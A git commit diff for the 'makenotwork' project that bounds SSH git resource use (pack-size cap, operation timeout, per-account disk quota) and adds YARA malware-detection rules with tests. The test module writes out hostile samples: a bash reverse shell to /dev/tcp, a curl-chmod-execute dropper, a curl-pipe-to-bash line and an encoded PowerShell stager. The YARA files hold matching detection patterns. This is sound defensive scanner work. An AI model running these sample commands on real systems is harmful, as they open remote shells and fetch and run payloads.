Skip to main content

max / makenotwork

Harden git SSH limits and expand YARA corpus (ultra-fuzz Run 6 Security) S5: bound SSH git resource use. Bare repos now get receive.maxInputSize at creation via a single git::init_bare_repo path (shared apply_bare_repo_limits); a mnw-admin backfill-git-config command applies it to existing repos. git-shell is spawned with a runaway timeout instead of exec'd, so a stalled transfer can be killed. A per-account on-disk quota is checked before each push. R6-Sec-M1: skipped YARA rule files now log at WARN (coverage gap is no longer silent); corpus expanded with encoded-PowerShell, Office-macro, and Linux dropper rules (conservative multi-token conditions), floor bumped to 6 with match + false-positive regression tests. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Author: Max Johnson <me@maxj.phd> · 2026-06-24 14:51 UTC
Commit: f2dec5030d15b9f3663e5203db79d602da7591a5
Parent: b9dd22a
10 files changed, +270 insertions, -10 deletions
@@ -111,6 +111,8 @@ enum Command {
111 111 },
112 112 /// Install post-receive hooks on all git repos for build triggers
113 113 InstallHooks,
114 + /// Backfill resource limits (receive.maxInputSize) into all existing bare repos
115 + BackfillGitConfig,
114 116 /// Set up SSH infrastructure for git access (directories, permissions, sudoers)
115 117 SetupGit,
116 118 }
@@ -147,6 +149,7 @@ async fn main() -> anyhow::Result<()> {
147 149 Command::RebuildKeys => cmd_rebuild_keys(&pool).await?,
148 150 Command::GitAuth { key_id } => cmd_git_auth(&pool, &key_id).await?,
149 151 Command::InstallHooks => cmd_install_hooks().await?,
152 + Command::BackfillGitConfig => cmd_backfill_git_config()?,
150 153 Command::SetupGit => cmd_setup_git()?,
151 154 }
152 155
@@ -653,6 +656,49 @@ async fn cmd_install_hooks() -> anyhow::Result<()> {
653 656 Ok(())
654 657 }
655 658
659 + /// One-time backfill: apply the standard bare-repo resource limits to every
660 + /// existing repo on disk. New repos get these at creation via
661 + /// `git::init_bare_repo`; this brings repos created before that landed up to par.
662 + fn cmd_backfill_git_config() -> anyhow::Result<()> {
663 + let git_root = std::env::var("GIT_REPOS_PATH")
664 + .unwrap_or_else(|_| "/opt/git".to_string());
665 + let root = std::path::Path::new(&git_root);
666 + if !root.exists() {
667 + anyhow::bail!("git root {} does not exist", git_root);
668 + }
669 +
670 + let mut updated = 0u32;
671 + for owner_entry in std::fs::read_dir(root)? {
672 + let owner_entry = owner_entry?;
673 + if !owner_entry.file_type()?.is_dir() {
674 + continue;
675 + }
676 + for repo_entry in std::fs::read_dir(owner_entry.path())? {
677 + let repo_entry = repo_entry?;
678 + let repo_path = repo_entry.path();
679 + let is_bare = repo_path
680 + .file_name()
681 + .and_then(|n| n.to_str())
682 + .is_some_and(|n| n.ends_with(".git"));
683 + if !is_bare || !repo_path.is_dir() {
684 + continue;
685 + }
686 + match git2::Repository::open_bare(&repo_path) {
687 + Ok(repo) => {
688 + makenotwork::git::apply_bare_repo_limits(&repo)?;
689 + updated += 1;
690 + }
691 + Err(e) => {
692 + eprintln!("[backfill] skipping {}: {e}", repo_path.display());
693 + }
694 + }
695 + }
696 + }
697 +
698 + println!("Applied resource limits to {updated} repo(s).");
699 + Ok(())
700 + }
701 +
656 702 fn cmd_setup_git() -> anyhow::Result<()> {
657 703 use std::fs;
658 704 use std::os::unix::fs::PermissionsExt;
@@ -488,7 +488,7 @@ pub struct ScanConfig {
488 488 /// `scanning::yara::tests::shipped_corpus_is_healthy`, which fails if the
489 489 /// bundled corpus count drifts from this value. Bumping the corpus means
490 490 /// bumping this constant (and the test catches a forgotten bump).
491 - pub const DEFAULT_YARA_MIN_RULE_FILES: usize = 3;
491 + pub const DEFAULT_YARA_MIN_RULE_FILES: usize = 6;
492 492
493 493 impl ScanConfig {
494 494 /// Load scan configuration from environment variables.
@@ -271,6 +271,21 @@ pub const GIT_SMART_HTTP_TIMEOUT_SECS: u64 = 300;
271 271 // is streamed into git's stdin (not buffered), but this caps a single push so a
272 272 // runaway upload can't fill the repo disk unbounded.
273 273 pub const GIT_RECEIVE_PACK_MAX_BYTES: usize = 2 * 1024 * 1024 * 1024;
274 + // `receive.maxInputSize` written into every bare repo's config at creation. This
275 + // is the SSH-side equivalent of `GIT_RECEIVE_PACK_MAX_BYTES` (which only bounds
276 + // the HTTP smart path): git-receive-pack aborts a push whose pack exceeds this,
277 + // so an authenticated user can't stream an arbitrarily large pack over SSH.
278 + pub const GIT_SSH_MAX_PACK_BYTES: i64 = 2 * 1024 * 1024 * 1024;
279 + // Hard runaway-backstop on a single SSH git operation (clone/fetch/push). Unlike
280 + // the HTTP path (a per-request layer), the SSH path execs git-shell directly, so
281 + // a client that stalls mid-transfer would otherwise pin the process indefinitely.
282 + // Generous enough for a large repo over a slow link; only kills genuinely stuck
283 + // operations.
284 + pub const GIT_SSH_OP_TIMEOUT_SECS: u64 = 900; // 15 min
285 + // Per-user on-disk git storage ceiling, checked before an SSH push is allowed.
286 + // Coarse (summed at authorization time, not atomic), but combined with the
287 + // per-push `GIT_SSH_MAX_PACK_BYTES` it bounds total repo growth per account.
288 + pub const GIT_USER_DISK_QUOTA_BYTES: u64 = 20 * 1024 * 1024 * 1024; // 20 GiB backstop
274 289
275 290 // -- Webhook security --
276 291 pub const WEBHOOK_TIMESTAMP_TOLERANCE_SECS: u64 = 300; // 5 minutes
@@ -308,6 +308,25 @@ pub fn repo_disk_path(repos_root: &Path, owner: &str, repo: &str) -> Result<Path
308 308 Ok(canonical_repo)
309 309 }
310 310
311 + /// Write the standard resource limits into a bare repo's config. Currently
312 + /// `receive.maxInputSize`, which makes git-receive-pack abort a push whose pack
313 + /// exceeds the cap. Shared by repo creation and the one-time backfill command so
314 + /// the limit can never drift between the two.
315 + pub fn apply_bare_repo_limits(repo: &Repository) -> Result<(), git2::Error> {
316 + let mut cfg = repo.config()?;
317 + cfg.set_i64("receive.maxInputSize", crate::constants::GIT_SSH_MAX_PACK_BYTES)?;
318 + Ok(())
319 + }
320 +
321 + /// Initialize a bare repository on disk with the standard resource limits
322 + /// applied. This is the single production path for creating a bare repo, so a
323 + /// new repo can never be created without its pack-size cap.
324 + pub fn init_bare_repo(repo_dir: &Path) -> Result<Repository, GitError> {
325 + let repo = Repository::init_bare(repo_dir)?;
326 + apply_bare_repo_limits(&repo)?;
327 + Ok(repo)
328 + }
329 +
311 330 // ============================================================================
312 331 // Errors
313 332 // ============================================================================
@@ -116,6 +116,21 @@ async fn exec_git_operation(
116 116 anyhow::bail!("permission denied: you do not have push access to {}/{}", owner, repo_name);
117 117 }
118 118 }
119 +
120 + // Per-account disk quota. The push consumes the *namespace owner's*
121 + // storage, so the quota is checked against `owner_username`. Coarse
122 + // (summed pre-push, not atomic) but paired with the per-repo
123 + // `receive.maxInputSize` cap it bounds total growth per account.
124 + let git_root = git_repos_root();
125 + let owner_dir = git_root.join(owner_username.as_ref());
126 + let used = dir_size_bytes(&owner_dir);
127 + if used > crate::constants::GIT_USER_DISK_QUOTA_BYTES {
128 + anyhow::bail!(
129 + "push rejected: account git storage quota exceeded ({} of {} bytes used)",
130 + used,
131 + crate::constants::GIT_USER_DISK_QUOTA_BYTES
132 + );
133 + }
119 134 }
120 135 GitOperation::UploadPack | GitOperation::Archive => {
121 136 if repo.visibility == db::Visibility::Private && !is_owner {
@@ -136,8 +151,36 @@ async fn exec_git_operation(
136 151 // charset, so the value flowing into the `git-shell -c` argument stays
137 152 // load-bearing on the validated type even if `parse_repo_path` ever loosens.
138 153 let sanitized_cmd = format!("{} '/{}/{}.git'", operation.command(), owner_username.as_ref(), repo_name);
139 - let err = exec_git_shell(&sanitized_cmd);
140 - anyhow::bail!("failed to exec git-shell: {}", err);
154 + run_git_shell(&sanitized_cmd).await
155 + }
156 +
157 + /// The configured git repository root (`GIT_REPOS_PATH`, default `/opt/git`).
158 + fn git_repos_root() -> std::path::PathBuf {
159 + std::path::PathBuf::from(
160 + std::env::var("GIT_REPOS_PATH").unwrap_or_else(|_| "/opt/git".to_string()),
161 + )
162 + }
163 +
164 + /// Total size in bytes of all regular files under `dir` (recursive). Returns 0
165 + /// if the directory does not exist. Symlinks are not followed, so a crafted
166 + /// symlink inside a bare repo cannot inflate or escape the measured tree.
167 + fn dir_size_bytes(dir: &std::path::Path) -> u64 {
168 + fn walk(dir: &std::path::Path, total: &mut u64) {
169 + let Ok(entries) = std::fs::read_dir(dir) else {
170 + return;
171 + };
172 + for entry in entries.flatten() {
173 + let Ok(meta) = entry.metadata() else { continue };
174 + if meta.is_dir() {
175 + walk(&entry.path(), total);
176 + } else if meta.is_file() {
177 + *total += meta.len();
178 + }
179 + }
180 + }
181 + let mut total = 0;
182 + walk(dir, &mut total);
183 + total
141 184 }
142 185
143 186 fn parse_ssh_command(cmd: &str) -> anyhow::Result<(GitOperation, String)> {
@@ -184,12 +227,37 @@ fn parse_repo_path(path: &str) -> anyhow::Result<(&str, &str)> {
184 227 Ok((owner, repo_name))
185 228 }
186 229
187 - /// Replace the current process with git-shell.
188 - fn exec_git_shell(original_cmd: &str) -> std::io::Error {
189 - use std::os::unix::process::CommandExt;
190 - std::process::Command::new("git-shell")
230 + /// Run git-shell as a child with inherited stdio (the ssh channel's fds) under a
231 + /// runaway-backstop timeout, then exit this process with the child's status.
232 + ///
233 + /// Replaces the previous `exec()`-into-git-shell: `exec` left no opportunity to
234 + /// bound a stalled transfer, so a client that stopped reading could pin the
235 + /// process indefinitely. Spawning lets us `timeout` the wait and kill a stuck
236 + /// operation (`GIT_SSH_OP_TIMEOUT_SECS`). The process still terminates here on
237 + /// every path, so it behaves like the old `exec` to the git client (its exit
238 + /// code propagates); it returns `Err` only if git-shell cannot be spawned.
239 + async fn run_git_shell(original_cmd: &str) -> anyhow::Result<()> {
240 + use tokio::process::Command;
241 +
242 + let mut child = Command::new("git-shell")
191 243 .args(["-c", original_cmd])
192 - .exec()
244 + .spawn()
245 + .map_err(|e| anyhow::anyhow!("failed to spawn git-shell: {e}"))?;
246 +
247 + let timeout = std::time::Duration::from_secs(crate::constants::GIT_SSH_OP_TIMEOUT_SECS);
248 + match tokio::time::timeout(timeout, child.wait()).await {
249 + Ok(Ok(status)) => std::process::exit(status.code().unwrap_or(0)),
250 + Ok(Err(e)) => anyhow::bail!("git-shell wait failed: {e}"),
251 + Err(_elapsed) => {
252 + let _ = child.start_kill();
253 + let _ = child.wait().await;
254 + eprintln!(
255 + "git operation timed out after {}s",
256 + crate::constants::GIT_SSH_OP_TIMEOUT_SECS
257 + );
258 + std::process::exit(124); // matches coreutils `timeout` exit code
259 + }
260 + }
193 261 }
194 262
195 263 /// Install a post-receive hook in a bare git repository.
@@ -527,7 +527,7 @@ pub(super) async fn create_repo(
527 527 std::fs::create_dir_all(&owner_dir)
528 528 .context("create git owner directory")?;
529 529
530 - git2::Repository::init_bare(&repo_dir)
530 + crate::git::init_bare_repo(&repo_dir)
531 531 .context("init bare git repo")?;
532 532
533 533 // Install post-receive hook if build triggers are configured
@@ -73,7 +73,13 @@ pub fn compile_rules_from_dir(dir: &str) -> Result<(Option<yara_x::Rules>, usize
73 73 }
74 74
75 75 if skipped_count > 0 {
76 - tracing::info!(skipped_count, "YARA rule files skipped due to unsupported features");
76 + // WARN, not INFO: a skipped rule file is a silent coverage gap. yara-x's
77 + // pure-Rust engine rejects rules that use built-ins it doesn't implement
78 + // (`filename`, `filepath`, `extension`, ...), so an operator dropping a
79 + // third-party corpus in needs this surfaced to know what didn't load.
80 + // YARA is supplementary here; ClamAV (full-file, streamed) is the
81 + // signature backstop, so a gap degrades depth, not the floor.
82 + tracing::warn!(skipped_count, "YARA rule files skipped (unsupported features); coverage reduced — ClamAV remains the backstop");
77 83 }
78 84
79 85 if rule_count == 0 {
@@ -462,9 +468,34 @@ mod tests {
462 468 let revshell = b"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
463 469 assert_eq!(scan_with_yara(&rules, revshell).verdict, LayerVerdict::Fail, "reverse shell must match");
464 470
471 + // Encoded-PowerShell stager fires (powershell + encoded + exec primitive).
472 + let enc_ps = b"powershell -nop -w hidden -EncodedCommand JABjAD0... ; IEX (FromBase64String($x))";
473 + assert_eq!(scan_with_yara(&rules, enc_ps).verdict, LayerVerdict::Fail, "encoded powershell must match");
474 +
475 + // Office macro dropper fires (autoexec + two exec primitives).
476 + let macro_drop = b"Sub AutoOpen()\n Set o = CreateObject(\"WScript.Shell\")\nEnd Sub";
477 + assert_eq!(scan_with_yara(&rules, macro_drop).verdict, LayerVerdict::Fail, "macro dropper must match");
478 +
479 + // Linux dropper fires (download + chmod +x + world-writable target).
480 + let lin_drop = b"curl http://x/y -o /tmp/p && chmod +x /tmp/p && /tmp/p";
481 + assert_eq!(scan_with_yara(&rules, lin_drop).verdict, LayerVerdict::Fail, "linux dropper must match");
482 +
483 + // Pipe-to-shell dropper fires.
484 + let pipe_drop = b"curl -fsSL http://x/install | bash";
485 + assert_eq!(scan_with_yara(&rules, pipe_drop).verdict, LayerVerdict::Fail, "pipe-to-shell must match");
486 +
465 487 // Ordinary content with none of the idioms passes (false-positive guard).
466 488 let clean = b"a perfectly normal track description mentioning a shell on the beach";
467 489 assert_eq!(scan_with_yara(&rules, clean).verdict, LayerVerdict::Pass, "clean content must pass");
490 +
491 + // A benign install snippet that uses chmod alone (no download+temp combo)
492 + // must not trip the Linux dropper rule.
493 + let benign_chmod = b"After extracting, run chmod +x ./mytool to make it executable.";
494 + assert_eq!(scan_with_yara(&rules, benign_chmod).verdict, LayerVerdict::Pass, "lone chmod must not match");
495 +
496 + // A document that merely mentions AutoOpen in prose must not match.
497 + let benign_macro = b"This template defines an AutoOpen macro to set the cursor position.";
498 + assert_eq!(scan_with_yara(&rules, benign_macro).verdict, LayerVerdict::Pass, "macro prose must not match");
468 499 }
469 500
470 501 #[test]
@@ -0,0 +1,22 @@
1 + // MakeNotWork - encoded / obfuscated PowerShell stagers.
2 + // Distinct from the plaintext `suspicious_script_in_binary` rule: this targets
3 + // the base64 / -EncodedCommand form used to hide a downloader from casual
4 + // inspection. Multi-token conditions keep these off legitimate scripting docs
5 + // and code samples — an encoded blob alone is benign; an encoded blob next to
6 + // a download+execute primitive is the stager shape.
7 +
8 + rule encoded_powershell_stager {
9 + meta:
10 + description = "Base64/encoded PowerShell paired with download or in-memory exec"
11 + strings:
12 + $enc1 = "-EncodedCommand" ascii nocase
13 + $enc2 = "-enc " ascii nocase
14 + $enc3 = "FromBase64String" ascii nocase
15 + $exec1 = "IEX" ascii
16 + $exec2 = "Invoke-Expression" ascii nocase
17 + $exec3 = "DownloadString" ascii nocase
18 + $exec4 = "DownloadData" ascii nocase
19 + $ps = "powershell" ascii nocase
20 + condition:
21 + $ps and (1 of ($enc*)) and (1 of ($exec*))
22 + }
@@ -0,0 +1,37 @@
1 + // MakeNotWork - Linux/Unix shell droppers.
2 + // The fetch -> make-executable -> run chain that stages a second-stage payload
3 + // to a world-writable path. Each token is innocuous alone (install scripts use
4 + // chmod and curl), so the rule requires a download, an executable-bit flip, and
5 + // a temp/world-writable target together before firing.
6 +
7 + rule linux_shell_dropper {
8 + meta:
9 + description = "Download + chmod +x + execute from a world-writable path"
10 + strings:
11 + $dl1 = "curl " ascii
12 + $dl2 = "wget " ascii
13 + $chmod1 = "chmod +x" ascii
14 + $chmod2 = "chmod 777" ascii
15 + $chmod3 = "chmod 0777" ascii
16 + $tmp1 = "/tmp/" ascii
17 + $tmp2 = "/dev/shm/" ascii
18 + $tmp3 = "/var/tmp/" ascii
19 + condition:
20 + (1 of ($dl*)) and (1 of ($chmod*)) and (1 of ($tmp*))
21 + }
22 +
23 + rule pipe_to_shell_dropper {
24 + meta:
25 + description = "Remote fetch piped directly into an interpreter"
26 + strings:
27 + $dl1 = "curl " ascii
28 + $dl2 = "wget " ascii
29 + $pipe1 = "| bash" ascii
30 + $pipe2 = "| sh" ascii
31 + $pipe3 = "|bash" ascii
32 + $pipe4 = "|sh" ascii
33 + $b64 = "base64 -d" ascii
34 + condition:
35 + ((1 of ($dl*)) and (1 of ($pipe*)))
36 + or ($b64 and (1 of ($pipe*)))
37 + }
@@ -0,0 +1,22 @@
1 + // MakeNotWork - VBA auto-exec macro droppers.
2 + // Office documents that auto-run a macro which shells out or pulls a payload.
3 + // The auto-exec entrypoint alone is common in benign templates, so it must
4 + // co-occur with an execution/download primitive to fire. Untrusted uploads are
5 + // held regardless; this flags the obvious macro-dropper shape in-process.
6 +
7 + rule office_macro_autoexec_dropper {
8 + meta:
9 + description = "VBA auto-exec macro paired with shell/download primitives"
10 + strings:
11 + $auto1 = "AutoOpen" ascii nocase
12 + $auto2 = "Document_Open" ascii nocase
13 + $auto3 = "Auto_Open" ascii nocase
14 + $auto4 = "Workbook_Open" ascii nocase
15 + $exec1 = "WScript.Shell" ascii nocase
16 + $exec2 = "Shell(" ascii nocase
17 + $exec3 = "CreateObject" ascii nocase
18 + $exec4 = "URLDownloadToFile" ascii nocase
19 + $exec5 = "MSXML2.XMLHTTP" ascii nocase
20 + condition:
21 + (1 of ($auto*)) and (2 of ($exec*))
22 + }